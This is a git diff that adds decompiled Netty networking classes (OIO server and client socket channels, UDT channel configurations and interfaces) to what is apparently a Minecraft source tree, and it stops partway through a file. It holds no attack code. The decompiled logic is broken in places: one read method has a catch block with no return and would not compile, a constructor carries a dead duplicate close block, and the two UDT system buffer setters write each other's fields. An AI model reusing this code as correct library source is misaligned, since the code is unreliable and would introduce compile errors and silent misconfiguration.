+import io.netty.channel.socket.ServerSocketChannel;
+import io.netty.util.internal.logging.InternalLogger;
+import io.netty.util.internal.logging.InternalLoggerFactory;
+import java.io.IOException;
+import java.net.InetSocketAddress;
+import java.net.ServerSocket;
+import java.net.Socket;
+import java.net.SocketAddress;
+import java.net.SocketTimeoutException;
+import java.util.List;
+import java.util.concurrent.locks.Lock;
+import java.util.concurrent.locks.ReentrantLock;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class OioServerSocketChannel
+  extends AbstractOioMessageChannel
+  implements ServerSocketChannel
+{
+  private static final InternalLogger logger = InternalLoggerFactory.getInstance(OioServerSocketChannel.class);
+  
+
+  private static final ChannelMetadata METADATA = new ChannelMetadata(false);
+  final ServerSocket socket;
+  
+  private static ServerSocket newServerSocket() {
+    try { return new ServerSocket();
+    } catch (IOException e) {
+      throw new ChannelException("failed to create a server socket", e);
+    }
+  }
+  
+
+  final Lock shutdownLock = new ReentrantLock();
+  
+  private final OioServerSocketChannelConfig config;
+  
+
+  public OioServerSocketChannel()
+  {
+    this(newServerSocket());
+  }
+  
+
+
+
+
+  public OioServerSocketChannel(ServerSocket socket)
+  {
+    super(null);
+    if (socket == null) {
+      throw new NullPointerException("socket");
+    }
+    
+    boolean success = false;
+    try {
+      socket.setSoTimeout(1000);
+      success = true;
+      
+
+
+
+      if (!success) {
+        try {
+          socket.close();
+        } catch (IOException e) {
+          if (logger.isWarnEnabled()) {
+            logger.warn("Failed to close a partially initialized socket.", e);
+          }
+        }
+      }
+      
+
+      this.socket = socket;
+    }
+    catch (IOException e)
+    {
+      throw new ChannelException("Failed to set the server socket timeout.", e);
+    }
+    finally {
+      if (!success) {
+        try {
+          socket.close();
+        } catch (IOException e) {
+          if (logger.isWarnEnabled()) {
+            logger.warn("Failed to close a partially initialized socket.", e);
+          }
+        }
+      }
+    }
+    
+
+    config = new DefaultOioServerSocketChannelConfig(this, socket);
+  }
+  
+  public InetSocketAddress localAddress()
+  {
+    return (InetSocketAddress)super.localAddress();
+  }
+  
+  public ChannelMetadata metadata()
+  {
+    return METADATA;
+  }
+  
+  public OioServerSocketChannelConfig config()
+  {
+    return config;
+  }
+  
+  public InetSocketAddress remoteAddress()
+  {
+    return null;
+  }
+  
+  public boolean isOpen()
+  {
+    return !socket.isClosed();
+  }
+  
+  public boolean isActive()
+  {
+    return (isOpen()) && (socket.isBound());
+  }
+  
+  protected SocketAddress localAddress0()
+  {
+    return socket.getLocalSocketAddress();
+  }
+  
+  protected void doBind(SocketAddress localAddress) throws Exception
+  {
+    socket.bind(localAddress, config.getBacklog());
+  }
+  
+  protected void doClose() throws Exception
+  {
+    socket.close();
+  }
+  
+  protected int doReadMessages(List<Object> buf) throws Exception
+  {
+    if (socket.isClosed()) {
+      return -1;
+    }
+    try
+    {
+      Socket s = socket.accept();
+      try {
+        buf.add(new OioSocketChannel(this, s));
+        return 1;
+      } catch (Throwable t) {
+        logger.warn("Failed to create a new channel from an accepted socket.", t);
+        try {
+          s.close();
+        } catch (Throwable t2) {
+          logger.warn("Failed to close a socket.", t2);
+        }
+      }
+      
+
+
+      return 0;
+    } catch (SocketTimeoutException e) {}
+  }
+  
+  protected void doWrite(ChannelOutboundBuffer in) throws Exception {
+    throw new UnsupportedOperationException();
+  }
+  
+  protected Object filterOutboundMessage(Object msg) throws Exception
+  {
+    throw new UnsupportedOperationException();
+  }
+  
+  protected void doConnect(SocketAddress remoteAddress, SocketAddress localAddress)
+    throws Exception
+  {
+    throw new UnsupportedOperationException();
+  }
+  
+  protected SocketAddress remoteAddress0()
+  {
+    return null;
+  }
+  
+  protected void doDisconnect() throws Exception
+  {
+    throw new UnsupportedOperationException();
+  }
+  
+  protected void setReadPending(boolean readPending)
+  {
+    super.setReadPending(readPending);
+  }
+}
diff --git a/src/minecraft/io/netty/channel/socket/oio/OioServerSocketChannelConfig.java b/src/minecraft/io/netty/channel/socket/oio/OioServerSocketChannelConfig.java
new file mode 100644
index 0000000..38766f9
--- /dev/null
+++ b/src/minecraft/io/netty/channel/socket/oio/OioServerSocketChannelConfig.java
@@ -0,0 +1,42 @@
+package io.netty.channel.socket.oio;
+
+import io.netty.buffer.ByteBufAllocator;
+import io.netty.channel.MessageSizeEstimator;
+import io.netty.channel.RecvByteBufAllocator;
+import io.netty.channel.socket.ServerSocketChannelConfig;
+
+public abstract interface OioServerSocketChannelConfig
+  extends ServerSocketChannelConfig
+{
+  public abstract OioServerSocketChannelConfig setSoTimeout(int paramInt);
+  
+  public abstract int getSoTimeout();
+  
+  public abstract OioServerSocketChannelConfig setBacklog(int paramInt);
+  
+  public abstract OioServerSocketChannelConfig setReuseAddress(boolean paramBoolean);
+  
+  public abstract OioServerSocketChannelConfig setReceiveBufferSize(int paramInt);
+  
+  public abstract OioServerSocketChannelConfig setPerformancePreferences(int paramInt1, int paramInt2, int paramInt3);
+  
+  public abstract OioServerSocketChannelConfig setConnectTimeoutMillis(int paramInt);
+  
+  public abstract OioServerSocketChannelConfig setMaxMessagesPerRead(int paramInt);
+  
+  public abstract OioServerSocketChannelConfig setWriteSpinCount(int paramInt);
+  
+  public abstract OioServerSocketChannelConfig setAllocator(ByteBufAllocator paramByteBufAllocator);
+  
+  public abstract OioServerSocketChannelConfig setRecvByteBufAllocator(RecvByteBufAllocator paramRecvByteBufAllocator);
+  
+  public abstract OioServerSocketChannelConfig setAutoRead(boolean paramBoolean);
+  
+  public abstract OioServerSocketChannelConfig setAutoClose(boolean paramBoolean);
+  
+  public abstract OioServerSocketChannelConfig setWriteBufferHighWaterMark(int paramInt);
+  
+  public abstract OioServerSocketChannelConfig setWriteBufferLowWaterMark(int paramInt);
+  
+  public abstract OioServerSocketChannelConfig setMessageSizeEstimator(MessageSizeEstimator paramMessageSizeEstimator);
+}
diff --git a/src/minecraft/io/netty/channel/socket/oio/OioSocketChannel.java b/src/minecraft/io/netty/channel/socket/oio/OioSocketChannel.java
new file mode 100644
index 0000000..454c953
--- /dev/null
+++ b/src/minecraft/io/netty/channel/socket/oio/OioSocketChannel.java
@@ -0,0 +1,240 @@
+package io.netty.channel.socket.oio;
+
+import io.netty.buffer.ByteBuf;
+import io.netty.channel.Channel;
+import io.netty.channel.ChannelException;
+import io.netty.channel.ChannelFuture;
+import io.netty.channel.ChannelPromise;
+import io.netty.channel.ConnectTimeoutException;
+import io.netty.channel.EventLoop;
+import io.netty.channel.oio.OioByteStreamChannel;
+import io.netty.channel.socket.ServerSocketChannel;
+import io.netty.channel.socket.SocketChannel;
+import io.netty.util.internal.logging.InternalLogger;
+import io.netty.util.internal.logging.InternalLoggerFactory;
+import java.io.IOException;
+import java.net.InetSocketAddress;
+import java.net.Socket;
+import java.net.SocketAddress;
+import java.net.SocketTimeoutException;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class OioSocketChannel
+  extends OioByteStreamChannel
+  implements SocketChannel
+{
+  private static final InternalLogger logger = InternalLoggerFactory.getInstance(OioSocketChannel.class);
+  
+
+  private final Socket socket;
+  
+  private final OioSocketChannelConfig config;
+  
+
+  public OioSocketChannel()
+  {
+    this(new Socket());
+  }
+  
+
+
+
+
+  public OioSocketChannel(Socket socket)
+  {
+    this(null, socket);
+  }
+  
+
+
+
+
+
+
+  public OioSocketChannel(Channel parent, Socket socket)
+  {
+    super(parent);
+    this.socket = socket;
+    config = new DefaultOioSocketChannelConfig(this, socket);
+    
+    boolean success = false;
+    try {
+      if (socket.isConnected()) {
+        activate(socket.getInputStream(), socket.getOutputStream());
+      }
+      socket.setSoTimeout(1000);
+      success = true; return;
+    } catch (Exception e) {
+      throw new ChannelException("failed to initialize a socket", e);
+    } finally {
+      if (!success) {
+        try {
+          socket.close();
+        } catch (IOException e) {
+          logger.warn("Failed to close a socket.", e);
+        }
+      }
+    }
+  }
+  
+  public ServerSocketChannel parent()
+  {
+    return (ServerSocketChannel)super.parent();
+  }
+  
+  public OioSocketChannelConfig config()
+  {
+    return config;
+  }
+  
+  public boolean isOpen()
+  {
+    return !socket.isClosed();
+  }
+  
+  public boolean isActive()
+  {
+    return (!socket.isClosed()) && (socket.isConnected());
+  }
+  
+  public boolean isInputShutdown()
+  {
+    return super.isInputShutdown();
+  }
+  
+  public boolean isOutputShutdown()
+  {
+    return (socket.isOutputShutdown()) || (!isActive());
+  }
+  
+  public ChannelFuture shutdownOutput()
+  {
+    return shutdownOutput(newPromise());
+  }
+  
+  protected int doReadBytes(ByteBuf buf) throws Exception
+  {
+    if (socket.isClosed()) {
+      return -1;
+    }
+    try {
+      return super.doReadBytes(buf);
+    } catch (SocketTimeoutException ignored) {}
+    return 0;
+  }
+  
+
+  public ChannelFuture shutdownOutput(final ChannelPromise future)
+  {
+    EventLoop loop = eventLoop();
+    if (loop.inEventLoop()) {
+      try {
+        socket.shutdownOutput();
+        future.setSuccess();
+      } catch (Throwable t) {
+        future.setFailure(t);
+      }
+    } else {
+      loop.execute(new Runnable()
+      {
+        public void run() {
+          shutdownOutput(future);
+        }
+      });
+    }
+    return future;
+  }
+  
+  public InetSocketAddress localAddress()
+  {
+    return (InetSocketAddress)super.localAddress();
+  }
+  
+  public InetSocketAddress remoteAddress()
+  {
+    return (InetSocketAddress)super.remoteAddress();
+  }
+  
+  protected SocketAddress localAddress0()
+  {
+    return socket.getLocalSocketAddress();
+  }
+  
+  protected SocketAddress remoteAddress0()
+  {
+    return socket.getRemoteSocketAddress();
+  }
+  
+  protected void doBind(SocketAddress localAddress) throws Exception
+  {
+    socket.bind(localAddress);
+  }
+  
+  protected void doConnect(SocketAddress remoteAddress, SocketAddress localAddress)
+    throws Exception
+  {
+    if (localAddress != null) {
+      socket.bind(localAddress);
+    }
+    
+    boolean success = false;
+    try {
+      socket.connect(remoteAddress, config().getConnectTimeoutMillis());
+      activate(socket.getInputStream(), socket.getOutputStream());
+      success = true;
+    } catch (SocketTimeoutException e) {
+      ConnectTimeoutException cause = new ConnectTimeoutException("connection timed out: " + remoteAddress);
+      cause.setStackTrace(e.getStackTrace());
+      throw cause;
+    } finally {
+      if (!success) {
+        doClose();
+      }
+    }
+  }
+  
+  protected void doDisconnect() throws Exception
+  {
+    doClose();
+  }
+  
+  protected void doClose() throws Exception
+  {
+    socket.close();
+  }
+  
+  protected boolean checkInputShutdown()
+  {
+    if (isInputShutdown()) {
+      try {
+        Thread.sleep(config().getSoTimeout());
+      }
+      catch (Throwable e) {}
+      
+      return true;
+    }
+    return false;
+  }
+  
+  protected void setReadPending(boolean readPending)
+  {
+    super.setReadPending(readPending);
+  }
+}
diff --git a/src/minecraft/io/netty/channel/socket/oio/OioSocketChannelConfig.java b/src/minecraft/io/netty/channel/socket/oio/OioSocketChannelConfig.java
new file mode 100644
index 0000000..71c2da0
--- /dev/null
+++ b/src/minecraft/io/netty/channel/socket/oio/OioSocketChannelConfig.java
@@ -0,0 +1,52 @@
+package io.netty.channel.socket.oio;
+
+import io.netty.buffer.ByteBufAllocator;
+import io.netty.channel.MessageSizeEstimator;
+import io.netty.channel.RecvByteBufAllocator;
+import io.netty.channel.socket.SocketChannelConfig;
+
+public abstract interface OioSocketChannelConfig
+  extends SocketChannelConfig
+{
+  public abstract OioSocketChannelConfig setSoTimeout(int paramInt);
+  
+  public abstract int getSoTimeout();
+  
+  public abstract OioSocketChannelConfig setTcpNoDelay(boolean paramBoolean);
+  
+  public abstract OioSocketChannelConfig setSoLinger(int paramInt);
+  
+  public abstract OioSocketChannelConfig setSendBufferSize(int paramInt);
+  
+  public abstract OioSocketChannelConfig setReceiveBufferSize(int paramInt);
+  
+  public abstract OioSocketChannelConfig setKeepAlive(boolean paramBoolean);
+  
+  public abstract OioSocketChannelConfig setTrafficClass(int paramInt);
+  
+  public abstract OioSocketChannelConfig setReuseAddress(boolean paramBoolean);
+  
+  public abstract OioSocketChannelConfig setPerformancePreferences(int paramInt1, int paramInt2, int paramInt3);
+  
+  public abstract OioSocketChannelConfig setAllowHalfClosure(boolean paramBoolean);
+  
+  public abstract OioSocketChannelConfig setConnectTimeoutMillis(int paramInt);
+  
+  public abstract OioSocketChannelConfig setMaxMessagesPerRead(int paramInt);
+  
+  public abstract OioSocketChannelConfig setWriteSpinCount(int paramInt);
+  
+  public abstract OioSocketChannelConfig setAllocator(ByteBufAllocator paramByteBufAllocator);
+  
+  public abstract OioSocketChannelConfig setRecvByteBufAllocator(RecvByteBufAllocator paramRecvByteBufAllocator);
+  
+  public abstract OioSocketChannelConfig setAutoRead(boolean paramBoolean);
+  
+  public abstract OioSocketChannelConfig setAutoClose(boolean paramBoolean);
+  
+  public abstract OioSocketChannelConfig setWriteBufferHighWaterMark(int paramInt);
+  
+  public abstract OioSocketChannelConfig setWriteBufferLowWaterMark(int paramInt);
+  
+  public abstract OioSocketChannelConfig setMessageSizeEstimator(MessageSizeEstimator paramMessageSizeEstimator);
+}
diff --git a/src/minecraft/io/netty/channel/udt/DefaultUdtChannelConfig.java b/src/minecraft/io/netty/channel/udt/DefaultUdtChannelConfig.java
new file mode 100644
index 0000000..b6a6f09
--- /dev/null
+++ b/src/minecraft/io/netty/channel/udt/DefaultUdtChannelConfig.java
@@ -0,0 +1,295 @@
+package io.netty.channel.udt;
+
+import com.barchart.udt.OptionUDT;
+import com.barchart.udt.SocketUDT;
+import com.barchart.udt.nio.ChannelUDT;
+import io.netty.buffer.ByteBufAllocator;
+import io.netty.channel.ChannelOption;
+import io.netty.channel.DefaultChannelConfig;
+import io.netty.channel.MessageSizeEstimator;
+import io.netty.channel.RecvByteBufAllocator;
+import java.io.IOException;
+import java.util.Map;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class DefaultUdtChannelConfig
+  extends DefaultChannelConfig
+  implements UdtChannelConfig
+{
+  private static final int K = 1024;
+  private static final int M = 1048576;
+  private volatile int protocolReceiveBuferSize = 10485760;
+  private volatile int protocolSendBuferSize = 10485760;
+  
+  private volatile int systemReceiveBufferSize = 1048576;
+  private volatile int systemSendBuferSize = 1048576;
+  
+  private volatile int allocatorReceiveBufferSize = 131072;
+  private volatile int allocatorSendBufferSize = 131072;
+  
+  private volatile int soLinger;
+  
+  private volatile boolean reuseAddress = true;
+  
+  public DefaultUdtChannelConfig(UdtChannel channel, ChannelUDT channelUDT, boolean apply)
+    throws IOException
+  {
+    super(channel);
+    if (apply) {
+      apply(channelUDT);
+    }
+  }
+  
+  protected void apply(ChannelUDT channelUDT) throws IOException {
+    SocketUDT socketUDT = channelUDT.socketUDT();
+    socketUDT.setReuseAddress(isReuseAddress());
+    socketUDT.setSendBufferSize(getSendBufferSize());
+    if (getSoLinger() <= 0) {
+      socketUDT.setSoLinger(false, 0);
+    } else {
+      socketUDT.setSoLinger(true, getSoLinger());
+    }
+    socketUDT.setOption(OptionUDT.Protocol_Receive_Buffer_Size, Integer.valueOf(getProtocolReceiveBufferSize()));
+    
+    socketUDT.setOption(OptionUDT.Protocol_Send_Buffer_Size, Integer.valueOf(getProtocolSendBufferSize()));
+    
+    socketUDT.setOption(OptionUDT.System_Receive_Buffer_Size, Integer.valueOf(getSystemReceiveBufferSize()));
+    
+    socketUDT.setOption(OptionUDT.System_Send_Buffer_Size, Integer.valueOf(getSystemSendBufferSize()));
+  }
+  
+
+  public int getProtocolReceiveBufferSize()
+  {
+    return protocolReceiveBuferSize;
+  }
+  
+
+  public <T> T getOption(ChannelOption<T> option)
+  {
+    if (option == UdtChannelOption.PROTOCOL_RECEIVE_BUFFER_SIZE) {
+      return Integer.valueOf(getProtocolReceiveBufferSize());
+    }
+    if (option == UdtChannelOption.PROTOCOL_SEND_BUFFER_SIZE) {
+      return Integer.valueOf(getProtocolSendBufferSize());
+    }
+    if (option == UdtChannelOption.SYSTEM_RECEIVE_BUFFER_SIZE) {
+      return Integer.valueOf(getSystemReceiveBufferSize());
+    }
+    if (option == UdtChannelOption.SYSTEM_SEND_BUFFER_SIZE) {
+      return Integer.valueOf(getSystemSendBufferSize());
+    }
+    if (option == UdtChannelOption.SO_RCVBUF) {
+      return Integer.valueOf(getReceiveBufferSize());
+    }
+    if (option == UdtChannelOption.SO_SNDBUF) {
+      return Integer.valueOf(getSendBufferSize());
+    }
+    if (option == UdtChannelOption.SO_REUSEADDR) {
+      return Boolean.valueOf(isReuseAddress());
+    }
+    if (option == UdtChannelOption.SO_LINGER) {
+      return Integer.valueOf(getSoLinger());
+    }
+    return super.getOption(option);
+  }
+  
+  public Map<ChannelOption<?>, Object> getOptions()
+  {
+    return getOptions(super.getOptions(), new ChannelOption[] { UdtChannelOption.PROTOCOL_RECEIVE_BUFFER_SIZE, UdtChannelOption.PROTOCOL_SEND_BUFFER_SIZE, UdtChannelOption.SYSTEM_RECEIVE_BUFFER_SIZE, UdtChannelOption.SYSTEM_SEND_BUFFER_SIZE, UdtChannelOption.SO_RCVBUF, UdtChannelOption.SO_SNDBUF, UdtChannelOption.SO_REUSEADDR, UdtChannelOption.SO_LINGER });
+  }
+  
+
+
+
+  public int getReceiveBufferSize()
+  {
+    return allocatorReceiveBufferSize;
+  }
+  
+  public int getSendBufferSize()
+  {
+    return allocatorSendBufferSize;
+  }
+  
+  public int getSoLinger()
+  {
+    return soLinger;
+  }
+  
+  public boolean isReuseAddress()
+  {
+    return reuseAddress;
+  }
+  
+  public UdtChannelConfig setProtocolReceiveBufferSize(int protocolReceiveBuferSize)
+  {
+    this.protocolReceiveBuferSize = protocolReceiveBuferSize;
+    return this;
+  }
+  
+  public <T> boolean setOption(ChannelOption<T> option, T value)
+  {
+    validate(option, value);
+    if (option == UdtChannelOption.PROTOCOL_RECEIVE_BUFFER_SIZE) {
+      setProtocolReceiveBufferSize(((Integer)value).intValue());
+    } else if (option == UdtChannelOption.PROTOCOL_SEND_BUFFER_SIZE) {
+      setProtocolSendBufferSize(((Integer)value).intValue());
+    } else if (option == UdtChannelOption.SYSTEM_RECEIVE_BUFFER_SIZE) {
+      setSystemReceiveBufferSize(((Integer)value).intValue());
+    } else if (option == UdtChannelOption.SYSTEM_SEND_BUFFER_SIZE) {
+      setSystemSendBufferSize(((Integer)value).intValue());
+    } else if (option == UdtChannelOption.SO_RCVBUF) {
+      setReceiveBufferSize(((Integer)value).intValue());
+    } else if (option == UdtChannelOption.SO_SNDBUF) {
+      setSendBufferSize(((Integer)value).intValue());
+    } else if (option == UdtChannelOption.SO_REUSEADDR) {
+      setReuseAddress(((Boolean)value).booleanValue());
+    } else if (option == UdtChannelOption.SO_LINGER) {
+      setSoLinger(((Integer)value).intValue());
+    } else {
+      return super.setOption(option, value);
+    }
+    return true;
+  }
+  
+  public UdtChannelConfig setReceiveBufferSize(int receiveBufferSize)
+  {
+    allocatorReceiveBufferSize = receiveBufferSize;
+    return this;
+  }
+  
+  public UdtChannelConfig setReuseAddress(boolean reuseAddress)
+  {
+    this.reuseAddress = reuseAddress;
+    return this;
+  }
+  
+  public UdtChannelConfig setSendBufferSize(int sendBufferSize)
+  {
+    allocatorSendBufferSize = sendBufferSize;
+    return this;
+  }
+  
+  public UdtChannelConfig setSoLinger(int soLinger)
+  {
+    this.soLinger = soLinger;
+    return this;
+  }
+  
+  public int getSystemReceiveBufferSize()
+  {
+    return systemReceiveBufferSize;
+  }
+  
+
+  public UdtChannelConfig setSystemSendBufferSize(int systemReceiveBufferSize)
+  {
+    this.systemReceiveBufferSize = systemReceiveBufferSize;
+    return this;
+  }
+  
+  public int getProtocolSendBufferSize()
+  {
+    return protocolSendBuferSize;
+  }
+  
+
+  public UdtChannelConfig setProtocolSendBufferSize(int protocolSendBuferSize)
+  {
+    this.protocolSendBuferSize = protocolSendBuferSize;
+    return this;
+  }
+  
+
+  public UdtChannelConfig setSystemReceiveBufferSize(int systemSendBuferSize)
+  {
+    this.systemSendBuferSize = systemSendBuferSize;
+    return this;
+  }
+  
+  public int getSystemSendBufferSize()
+  {
+    return systemSendBuferSize;
+  }
+  
+  public UdtChannelConfig setConnectTimeoutMillis(int connectTimeoutMillis)
+  {
+    super.setConnectTimeoutMillis(connectTimeoutMillis);
+    return this;
+  }
+  
+  public UdtChannelConfig setMaxMessagesPerRead(int maxMessagesPerRead)
+  {
+    super.setMaxMessagesPerRead(maxMessagesPerRead);
+    return this;
+  }
+  
+  public UdtChannelConfig setWriteSpinCount(int writeSpinCount)
+  {
+    super.setWriteSpinCount(writeSpinCount);
+    return this;
+  }
+  
+  public UdtChannelConfig setAllocator(ByteBufAllocator allocator)
+  {
+    super.setAllocator(allocator);
+    return this;
+  }
+  
+  public UdtChannelConfig setRecvByteBufAllocator(RecvByteBufAllocator allocator)
+  {
+    super.setRecvByteBufAllocator(allocator);
+    return this;
+  }
+  
+  public UdtChannelConfig setAutoRead(boolean autoRead)
+  {
+    super.setAutoRead(autoRead);
+    return this;
+  }
+  
+  public UdtChannelConfig setAutoClose(boolean autoClose)
+  {
+    super.setAutoClose(autoClose);
+    return this;
+  }
+  
+  public UdtChannelConfig setWriteBufferLowWaterMark(int writeBufferLowWaterMark)
+  {
+    super.setWriteBufferLowWaterMark(writeBufferLowWaterMark);
+    return this;
+  }
+  
+  public UdtChannelConfig setWriteBufferHighWaterMark(int writeBufferHighWaterMark)
+  {
+    super.setWriteBufferHighWaterMark(writeBufferHighWaterMark);
+    return this;
+  }
+  
+  public UdtChannelConfig setMessageSizeEstimator(MessageSizeEstimator estimator)
+  {
+    super.setMessageSizeEstimator(estimator);
+    return this;
+  }
+}
diff --git a/src/minecraft/io/netty/channel/udt/DefaultUdtServerChannelConfig.java b/src/minecraft/io/netty/channel/udt/DefaultUdtServerChannelConfig.java
new file mode 100644
index 0000000..9ee03d0
--- /dev/null
+++ b/src/minecraft/io/netty/channel/udt/DefaultUdtServerChannelConfig.java
@@ -0,0 +1,198 @@
+package io.netty.channel.udt;
+
+import com.barchart.udt.nio.ChannelUDT;
+import io.netty.buffer.ByteBufAllocator;
+import io.netty.channel.ChannelOption;
+import io.netty.channel.MessageSizeEstimator;
+import io.netty.channel.RecvByteBufAllocator;
+import java.io.IOException;
+import java.util.Map;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class DefaultUdtServerChannelConfig
+  extends DefaultUdtChannelConfig
+  implements UdtServerChannelConfig
+{
+  private volatile int backlog = 64;
+  
+  public DefaultUdtServerChannelConfig(UdtChannel channel, ChannelUDT channelUDT, boolean apply) throws IOException
+  {
+    super(channel, channelUDT, apply);
+    if (apply) {
+      apply(channelUDT);
+    }
+  }
+  
+
+  protected void apply(ChannelUDT channelUDT)
+    throws IOException
+  {}
+  
+  public int getBacklog()
+  {
+    return backlog;
+  }
+  
+
+  public <T> T getOption(ChannelOption<T> option)
+  {
+    if (option == ChannelOption.SO_BACKLOG) {
+      return Integer.valueOf(getBacklog());
+    }
+    return super.getOption(option);
+  }
+  
+  public Map<ChannelOption<?>, Object> getOptions()
+  {
+    return getOptions(super.getOptions(), new ChannelOption[] { ChannelOption.SO_BACKLOG });
+  }
+  
+  public UdtServerChannelConfig setBacklog(int backlog)
+  {
+    this.backlog = backlog;
+    return this;
+  }
+  
+  public <T> boolean setOption(ChannelOption<T> option, T value)
+  {
+    validate(option, value);
+    if (option == ChannelOption.SO_BACKLOG) {
+      setBacklog(((Integer)value).intValue());
+    } else {
+      return super.setOption(option, value);
+    }
+    return true;
+  }
+  
+
+  public UdtServerChannelConfig setProtocolReceiveBufferSize(int protocolReceiveBuferSize)
+  {
+    super.setProtocolReceiveBufferSize(protocolReceiveBuferSize);
+    return this;
+  }
+  
+
+  public UdtServerChannelConfig setProtocolSendBufferSize(int protocolSendBuferSize)
+  {
+    super.setProtocolSendBufferSize(protocolSendBuferSize);
+    return this;
+  }
+  
+
+  public UdtServerChannelConfig setReceiveBufferSize(int receiveBufferSize)
+  {
+    super.setReceiveBufferSize(receiveBufferSize);
+    return this;
+  }
+  
+  public UdtServerChannelConfig setReuseAddress(boolean reuseAddress)
+  {
+    super.setReuseAddress(reuseAddress);
+    return this;
+  }
+  
+  public UdtServerChannelConfig setSendBufferSize(int sendBufferSize)
+  {
+    super.setSendBufferSize(sendBufferSize);
+    return this;
+  }
+  
+  public UdtServerChannelConfig setSoLinger(int soLinger)
+  {
+    super.setSoLinger(soLinger);
+    return this;
+  }
+  
+
+  public UdtServerChannelConfig setSystemReceiveBufferSize(int systemSendBuferSize)
+  {
+    super.setSystemReceiveBufferSize(systemSendBuferSize);
+    return this;
+  }
+  
+
+  public UdtServerChannelConfig setSystemSendBufferSize(int systemReceiveBufferSize)
+  {
+    super.setSystemSendBufferSize(systemReceiveBufferSize);
+    return this;
+  }
+  
+  public UdtServerChannelConfig setConnectTimeoutMillis(int connectTimeoutMillis)
+  {
+    super.setConnectTimeoutMillis(connectTimeoutMillis);
+    return this;
+  }
+  
+  public UdtServerChannelConfig setMaxMessagesPerRead(int maxMessagesPerRead)
+  {
+    super.setMaxMessagesPerRead(maxMessagesPerRead);
+    return this;
+  }
+  
+  public UdtServerChannelConfig setWriteSpinCount(int writeSpinCount)
+  {
+    super.setWriteSpinCount(writeSpinCount);
+    return this;
+  }
+  
+  public UdtServerChannelConfig setAllocator(ByteBufAllocator allocator)
+  {
+    super.setAllocator(allocator);
+    return this;
+  }
+  
+  public UdtServerChannelConfig setRecvByteBufAllocator(RecvByteBufAllocator allocator)
+  {
+    super.setRecvByteBufAllocator(allocator);
+    return this;
+  }
+  
+  public UdtServerChannelConfig setAutoRead(boolean autoRead)
+  {
+    super.setAutoRead(autoRead);
+    return this;
+  }
+  
+  public UdtServerChannelConfig setAutoClose(boolean autoClose)
+  {
+    super.setAutoClose(autoClose);
+    return this;
+  }
+  
+  public UdtServerChannelConfig setWriteBufferLowWaterMark(int writeBufferLowWaterMark)
+  {
+    super.setWriteBufferLowWaterMark(writeBufferLowWaterMark);
+    return this;
+  }
+  
+  public UdtServerChannelConfig setWriteBufferHighWaterMark(int writeBufferHighWaterMark)
+  {
+    super.setWriteBufferHighWaterMark(writeBufferHighWaterMark);
+    return this;
+  }
+  
+  public UdtServerChannelConfig setMessageSizeEstimator(MessageSizeEstimator estimator)
+  {
+    super.setMessageSizeEstimator(estimator);
+    return this;
+  }
+}
diff --git a/src/minecraft/io/netty/channel/udt/UdtChannel.java b/src/minecraft/io/netty/channel/udt/UdtChannel.java
new file mode 100644
index 0000000..1f8fc0d
--- /dev/null
+++ b/src/minecraft/io/netty/channel/udt/UdtChannel.java
@@ -0,0 +1,14 @@
+package io.netty.channel.udt;
+
+import io.netty.channel.Channel;
+import java.net.InetSocketAddress;
+
+public abstract interface UdtChannel
+  extends Channel
+{
+  public abstract UdtChannelConfig config();
+  
+  public abstract InetSocketAddress localAddress();
+  
+  public abstract InetSocketAddress remoteAddress();
+}
diff --git a/src/minecraft/io/netty/channel/udt/UdtChannelConfig.java b/src/minecraft/io/netty/channel/udt/UdtChannelConfig.java
new file mode 100644
index 0000000..d21d895
--- /dev/null
+++ b/src/minecraft/io/netty/channel/udt/UdtChannelConfig.java
@@ -0,0 +1,62 @@
+package io.netty.channel.udt;
+
+import io.netty.buffer.ByteBufAllocator;
+import io.netty.channel.ChannelConfig;
+import io.netty.channel.MessageSizeEstimator;
+import io.netty.channel.RecvByteBufAllocator;
+
+public abstract interface UdtChannelConfig
+  extends ChannelConfig
+{
+  public abstract int getProtocolReceiveBufferSize();
+  
+  public abstract int getProtocolSendBufferSize();
+  
+  public abstract int getReceiveBufferSize();
+  
+  public abstract int getSendBufferSize();
+  
+  public abstract int getSoLinger();
+  
+  public abstract int getSystemReceiveBufferSize();
+  
+  public abstract int getSystemSendBufferSize();
+  
+  public abstract boolean isReuseAddress();
+  
+  public abstract UdtChannelConfig setConnectTimeoutMillis(int paramInt);
+  
+  public abstract UdtChannelConfig setMaxMessagesPerRead(int paramInt);
+  
+  public abstract UdtChannelConfig setWriteSpinCount(int paramInt);
+  
+  public abstract UdtChannelConfig setAllocator(ByteBufAllocator paramByteBufAllocator);
+  
+  public abstract UdtChannelConfig setRecvByteBufAllocator(RecvByteBufAllocator paramRecvByteBufAllocator);
+  
+  public abstract UdtChannelConfig setAutoRead(boolean paramBoolean);
+  
+  public abstract UdtChannelConfig setAutoClose(boolean paramBoolean);
+  
+  public abstract UdtChannelConfig setWriteBufferHighWaterMark(int paramInt);
+  
+  public abstract UdtChannelConfig setWriteBufferLowWaterMark(int paramInt);
+  
+  public abstract UdtChannelConfig setMessageSizeEstimator(MessageSizeEstimator paramMessageSizeEstimator);
+  
+  public abstract UdtChannelConfig setProtocolReceiveBufferSize(int paramInt);
+  
+  public abstract UdtChannelConfig setProtocolSendBufferSize(int paramInt);
+  
+  public abstract UdtChannelConfig setReceiveBufferSize(int paramInt);
+  
+  public abstract UdtChannelConfig setReuseAddress(boolean paramBoolean);
+  
+  public abstract UdtChannelConfig setSendBufferSize(int paramInt);
+  
+  public abstract UdtChannelConfig setSoLinger(int paramInt);
+  
+  public abstract UdtChannelConfig setSystemReceiveBufferSize(int paramInt);
+  
+  public abstract UdtChannelConfig setSystemSendBufferSize(int paramInt);
+}
diff --git a/src/minecraft/io/netty/channel/udt/UdtChannelOption.java b/src/minecraft/io/netty/channel/udt/UdtChannelOption.java
new file mode 100644
index 0000000..62b8e1a
--- /dev/null
+++ b/src/minecraft/io/netty/channel/udt/UdtChannelOption.java
@@ -0,0 +1,54 @@
+package io.netty.channel.udt;
+
+import io.netty.channel.ChannelOption;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public final class UdtChannelOption<T>
+  extends ChannelOption<T>
+{
+  public static final UdtChannelOption<Integer> PROTOCOL_RECEIVE_BUFFER_SIZE = new UdtChannelOption("PROTOCOL_RECEIVE_BUFFER_SIZE");
+  
+
+
